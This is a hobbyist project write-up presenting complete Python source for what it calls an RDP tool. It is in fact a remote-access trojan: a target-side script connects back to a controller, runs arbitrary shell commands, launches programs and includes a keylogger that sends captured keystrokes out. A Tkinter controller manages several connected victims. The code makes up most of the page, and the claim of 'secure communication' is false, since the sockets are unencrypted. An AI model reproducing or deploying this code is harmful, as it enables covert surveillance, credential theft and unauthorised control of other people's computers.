Creating a working RDP using Socket and Python
This project is the first step of a starter implementation for remote command execution, multithreading, and network communication.
The base of this application was built using Socket, Threading, and Tkinter (for gui). At a very basic level, this application is designed to simulate a server-client model where a central server can issue commands to connected clients
It includes a straightforward graphical interface I created using Tkinter, which allows for clear input/output reading and logging of commands.
DISCLAIMER: This is a straightfoward approach into understanding how viruses work, this is entirely for educational purposes and should not be used in any malicious manner.
Key Features:
1. Client vs Target
There are two different files within this project, one for the client machine and one for the target machine.
Since the general idea of this is to see what can be performed remotely through a few lines of code, we must run a script to connect the target machine to the client side.
Raw Code:
import socket import subprocess import os from pynput import keyboard SERVER_IP = '255.255.255.255' SERVER_PORT = ***** # Port chosen arbitrarily in this case. writing_data = [] text_input_logger_active = False def on_press(key): global writing_data try: writing_data.append(key.char) except AttributeError: if key == keyboard.Key.space: writing_data.append(' ') elif key == keyboard.Key.enter: writing_data.append('\n') else: writing_data.append(f'[{key}]') def start_text_input_logger(): global text_input_logger_active if not text_input_logger_active: text_input_logger_active = True listener = keyboard.Listener(on_press=on_press) listener.start() def stop_text_input_logger(): global text_input_logger_active text_input_logger_active = False def get_logged_text(): global writing_data logs = ''.join(writing_data) writing_data = [] # Reset after retrieving logs return logs def connect_to_server(): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((SERVER_IP, SERVER_PORT)) while True: command = client.recv(1024).decode('utf-8') if command.lower() == "exit": break elif command.strip() == "start_text_input_logger": start_text_input_logger() client.send("Text input logger started.\n".encode('utf-8')) elif command.strip() == "stop_text_input_logger": stop_text_input_logger() client.send("Text input logger stopped.\n".encode('utf-8')) elif command.strip() == "get_logged_text": logs = get_logged_text() client.send(f"Captured text inputs:\n{logs}\n".encode('utf-8')) elif command.startswith("cd "): try: directory = command.strip().split(" ", 1)[1] os.chdir(directory) client.send(f"Changed directory to {os.getcwd()}\n".encode('utf-8')) except Exception as e: client.send(f"Failed to change directory: {e}\n".encode('utf-8')) elif command.startswith("launch "): app_name = command[7:].strip() try: subprocess.Popen([app_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE) client.send(f"Launched application: {app_name}\n".encode('utf-8')) except Exception as e: client.send(f"Failed to launch application {app_name}: {e}\n".encode('utf-8')) else: try: output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True) client.sendall(output.encode('utf-8')) except subprocess.CalledProcessError as e: client.sendall(e.output.encode('utf-8')) except Exception as e: client.send(f"Command execution failed: {e}\n".encode('utf-8')) client.close() if __name__ == "__main__": connect_to_server()
2. Client/Server Side
Using the first script to connect the machine to a computer/server, we can then use a second script to connect directly to the shell and perform commands.
Here's what the GUI looks like:
Both the server and client utilize socket connections for secure communication.
The server can also handle multiple connections simultaneously, displaying their activity in real-time via the GUI.
Raw Code:
import sys import threading import socket import tkinter as tk from tkinter.scrolledtext import ScrolledText class NetworkAdminGUI: def __init__(self, root): self.root = root self.root.title("Software by Matthew") self.output_area = ScrolledText(root, wrap=tk.WORD, height=20, width=80) self.output_area.pack(padx=10, pady=10) self.command_entry = tk.Entry(root, width=80) self.command_entry.pack(padx=10, pady=10) self.command_entry.bind("", self.send_command) self.client_socket = None self.clients = {} self.start_server() def start_server(self): threading.Thread(target=self.connect_to_server, daemon=True).start() def connect_to_server(self): HOST = '255.255.255.255' PORT = ##### # Replace with actual port server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((HOST, PORT)) server_socket.listen(5) self.append_output(f"[*] Listening on {HOST}:{PORT}") while True: client_socket, addr = server_socket.accept() # Prevent multiple connections if addr not in self.clients: self.clients[addr] = client_socket self.client_socket = client_socket self.append_output(f"[*] Accepted connection from {addr}") threading.Thread(target=self.handle_client, args=(client_socket, addr), daemon=True).start() else: client_socket.close() def handle_client(self, client_socket, addr): while True: try: response = client_socket.recv(4096).decode('utf-8') if response: self.append_output(response) except Exception as e: self.append_output(f"Connection error with {addr}: {e}") client_socket.close() if addr in self.clients: del self.clients[addr] break def send_command(self, event=None): command = self.command_entry.get() if self.client_socket and command: try: self.client_socket.sendall(command.encode('utf-8')) self.append_output(f"> {command}") except Exception as e: self.append_output(f"Failed to send command: {e}") self.client_socket = None # Reset on failure self.command_entry.delete(0, tk.END) def append_output(self, message): self.output_area.insert(tk.END, message + "\n") self.output_area.yview(tk.END) def run_gui(): root = tk.Tk() gui = NetworkAdminGUI(root) root.mainloop() if __name__ == "__main__": run_gui()
3. Testing
I decided to use a virtual machine using the Kali Linux operating system, as I have previous experience with this OS and it's very straightforward to me.
It worked as intended, and I will provide new photos soon. I created this tool around two weeks ago so I don't have any screenshots of it working right now.
4. Future Work
I plan on continuing this application so I can learn more about cyberserity and shell:
Technologies Used
- Python
- Socket
- Threading
- Tkinter
Sources
https://www.geeksforgeeks.org/socket-programming-python/